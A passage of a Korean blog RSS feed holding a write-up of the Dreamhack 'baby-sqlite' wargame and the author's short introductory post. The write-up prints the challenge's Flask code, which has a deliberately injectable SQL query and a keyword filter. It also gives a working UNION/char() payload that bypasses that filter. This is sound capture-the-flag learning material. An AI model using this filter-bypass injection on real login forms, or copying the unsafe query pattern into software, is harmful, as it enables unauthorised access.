&lt;p data-ke-size=&quot;size16&quot;&gt;sqlite는 파일 기반 데이터베이스기 때문에 서버가 따로 필요 없다는 제일 강력한 장점이 있다고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로바로 쿼리를 이용해서 사용할 수 있는 DB니까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 단점도 많다. 서버가 따로 필요 없다는 파일 기반 데이터베이스라는 점이 제일 큰 단점같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버를 사용하지 않기 때문에 접근성이 용이하지 못하다. 공유를 하려면 파일을 직접 복사하여 사용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크를 이용한 접근이 불가능하고, 사용자 권한 로직도 부족하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 오늘 풀어볼 워게임에서 SQL Injection을 실습할때는 사용하기 정말 간편하다고 생각한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 워게임으로 접속을 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/1&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/1&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1738163162551&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;baby-sqlite&quot; data-og-description=&quot;로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요! 해당 문제는 숙련된 웹해커를 위한 문제입니다.&quot; data-og-host=&quot;dreamhack.io&quot; data-og-source-url=&quot;https://dreamhack.io/wargame/challenges/1&quot; data-og-url=&quot;https://dreamhack.io/wargame/challenges/1&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/c1bTcR/hyX7Z87Si5/3L2kRMvaCJCdtN6xksKX51/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/TlCbP/hyX7ZBiuI4/4Zq3z08vxZsIOsmaBbWJsK/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://dreamhack.io/wargame/challenges/1&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/c1bTcR/hyX7Z87Si5/3L2kRMvaCJCdtN6xksKX51/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/TlCbP/hyX7ZBiuI4/4Zq3z08vxZsIOsmaBbWJsK/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;baby-sqlite&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요! 해당 문제는 숙련된 웹해커를 위한 문제입니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;dreamhack.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;155&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDs2ET/btsL3peyXOV/5GTzz4K5jV3uxM3yrXrHE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDs2ET/btsL3peyXOV/5GTzz4K5jV3uxM3yrXrHE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDs2ET/btsL3peyXOV/5GTzz4K5jV3uxM3yrXrHE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDs2ET%2FbtsL3peyXOV%2F5GTzz4K5jV3uxM3yrXrHE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;801&quot; height=&quot;155&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;155&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;243&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lZMN6/btsL2HUrqCQ/8IJDKzok00kOU6sEj1U8L0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lZMN6/btsL2HUrqCQ/8IJDKzok00kOU6sEj1U8L0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lZMN6/btsL2HUrqCQ/8IJDKzok00kOU6sEj1U8L0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlZMN6%2FbtsL2HUrqCQ%2F8IJDKzok00kOU6sEj1U8L0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;711&quot; height=&quot;243&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;243&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 창이 하나 있는데, 웹 페이지에서는 아무런 힌트를 얻지 못할것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 소스코드 부분으로 넘어가보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1738163301083&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3

app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack

DATABASE = 'users.db'

def get_db():
    top = _app_ctx_stack.top
    if not hasattr(top, 'sqlite_db'):
        top.sqlite_db = sqlite3.connect(DATABASE)
    return top.sqlite_db


try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')

    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()

    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '&quot;', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'

    
    with app.app_context():
        conn = get_db()
        query = f&quot;SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};&quot;
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except:
            return 'Error!'
    return 'Good!'


@app.teardown_appcontext
def close_connection(exception):
    top = _app_ctx_stack.top
    if hasattr(top, 'sqlite_db'):
        top.sqlite_db.close()


if __name__ == '__main__':
    os.system('rm -rf %s' % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
        conn.execute(&quot;INSERT INTO users VALUES ('dream','cometrue', 9);&quot;)
        conn.commit()

    app.run(host='0.0.0.0', port=8001)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 간단히 해석을 해보자면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;get_db라는 함수는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Flask에서 SQLite 연결을 관리&lt;/b&gt;하는 함수이다.&lt;br /&gt;&lt;b&gt;같은 요청 내에서는 같은 DB 연결을 사용&lt;/b&gt;하도록 구현되어 있고, 호출을 최소화하여 불필요한 연결 생성을 방지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, _app_ctx_stack.top은 Flask의 애플리케이션 컨텍스트(stack)에서 최상위 컨텍스트를 가져오는 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flask에서 데이터베이스를 효율적으로 사용하게 하고, 최상위 컨텍스트를 호출하는 함수다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제의 핵심인 login 엔드포인트를 한번 보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자도 정확하지 않을 수 있다. 지적은 언제든지 환영이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, request method가 get일때는 login.html을 사용자에게 렌더링을 해주는 것을 알 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1738163619089&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 폼에서의 사용자의 입력값을 변수에 바인딩하는것을 볼 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;uid와 upw는 소문자로 치환하고, 값이 없을때는 빈칸이 들어간다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;level은 따로 설정되어 있지 않으면 9로 설정되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1738163638505&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sqli_filter가 있는데, 이 필터에서는 form에서 입력된 데이터가 저 배열 안에 있으면 No Hack을 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글쿼터, admin, select와 같은 기본적인 SQL Injection 구문과 '&lt;b&gt;\x08',&amp;nbsp;'\x09',&amp;nbsp;'\x00',&amp;nbsp;'\x0b',&amp;nbsp;'\x0d'&lt;/b&gt;와 같은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Control Characters도 filtering하고 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1738163778782&quot; class=&quot;gml&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '&quot;', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제일 중요한 쿼리를 날리는 로직이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;conn으로 get_db함수를 호출하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿼리를 상당히 위험하게 사용한다. 저렇게 코딩하면 혼난다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;밑에 if uid == 'admin' return FLAG가 있는데, uid의 값을 admin으로 만들어야 문제가 풀리는것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿼리쪽을 보면&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;uid와 upw는 '{}'로 감싸져 있지만, level은 싱글쿼터 안에 있지 않아서 SQL Injection 공격이 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;하지만 sqli_filter에서 admin과 같은 문자열을 막고 있기 때문에&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;admin / admin으로 입력하면 No Hack!이 뜬다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;어떻게 sqli_filter를 우회하며, uid값을 admin으로 만들 수 있을까?&lt;/p&gt;
&lt;pre id=&quot;code_1738164020172&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    with app.app_context():
        conn = get_db()
        query = f&quot;SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};&quot;
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except:
            return 'Error!'
    return 'Good!'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 sqli_filter에서 admin과 같은 문자열을 막고 있기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin / admin으로 입력하면 No Hack!이 뜬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 sqli_filter를 우회하며, uid값을 admin으로 만들 수 있을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답은,&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;level= /**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;level의 값을 이렇게 설정하여 요청한다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풀리게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/**/ 으로 공백을 우회하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;char 97 = a&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;char 100 = d&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;char 109 = m&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;char 105 = i&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;char 110 = n&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin이라는값을 주고, | 파이프 기호로 이를 이어서 values를 이용하여 값으로 전달해 준다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;values는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러면 풀린다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3334&quot; data-origin-height=&quot;2100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3Xtw9/btsL25tYhlf/kuJh90qXCp68MEA8NadMJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3Xtw9/btsL25tYhlf/kuJh90qXCp68MEA8NadMJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3Xtw9/btsL25tYhlf/kuJh90qXCp68MEA8NadMJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3Xtw9%2FbtsL25tYhlf%2FkuJh90qXCp68MEA8NadMJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3334&quot; height=&quot;2100&quot; data-origin-width=&quot;3334&quot; data-origin-height=&quot;2100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>webhacking</category>
      <category>sqlite3</category>
      <category>WebHacking</category>
      <category>웹해킹</category>
      <author>lizparadox_</author>
      <guid isPermaLink="true">https://paradox123.tistory.com/2</guid>
      <comments>https://paradox123.tistory.com/2#entry2comment</comments>
      <pubDate>Thu, 30 Jan 2025 00:45:59 +0900</pubDate>
    </item>
    <item>
      <title>Hello Paradox! World Profile</title>
      <link>https://paradox123.tistory.com/1</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;네이버 블로그를 사용하다가 점점 블로그를 작성하지 않는 것 같아 &lt;br /&gt;뭔가 초심을 다시 찾아보고 싶어서 가독성이 조금 더 좋은것 같은 티스토리를 선택하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;티스토리는 카테고리로 분류한 글을 좀 더 가독성 높게 보여주는것 같습니다.&lt;br /&gt;&lt;br /&gt;저는 이런 사람입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1737199683577&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://www.linkedin.com/in/paradoxmyung/
https://github.com/paradox0909&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별로 대단한 사람은 아닙니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정말 코딩과 해킹을 좋아하는 사람입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공부를 많이 했었던 분야는 웹 해킹입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관심이 생기는 분야는 web 3.0이지만 막상 각잡고 공부를 해보려니 분야가 너무 깊어서 도전을 못하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러가지 작성할 예정입니다. 일주일에 2개 정도만 작성하려고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주제는 여러가지가 될 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 해킹, 코딩, trobleshooting, 기타 잡소리, 일상 등등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 글은 여기서 확인 가능합니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1737200753806&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://blog.naver.com/dokingkns0909&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감사합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>기타</category>
      <author>lizparadox_</author>
      <guid isPermaLink="true">https://paradox123.tistory.com/1</guid>
      <comments>https://paradox123.tistory.com/1#entry1comment</comments>
      <pubDate>Sat, 18 Jan 2025 20:46:20 +0900</pubDate>
    </item>
  </channel>
</rss>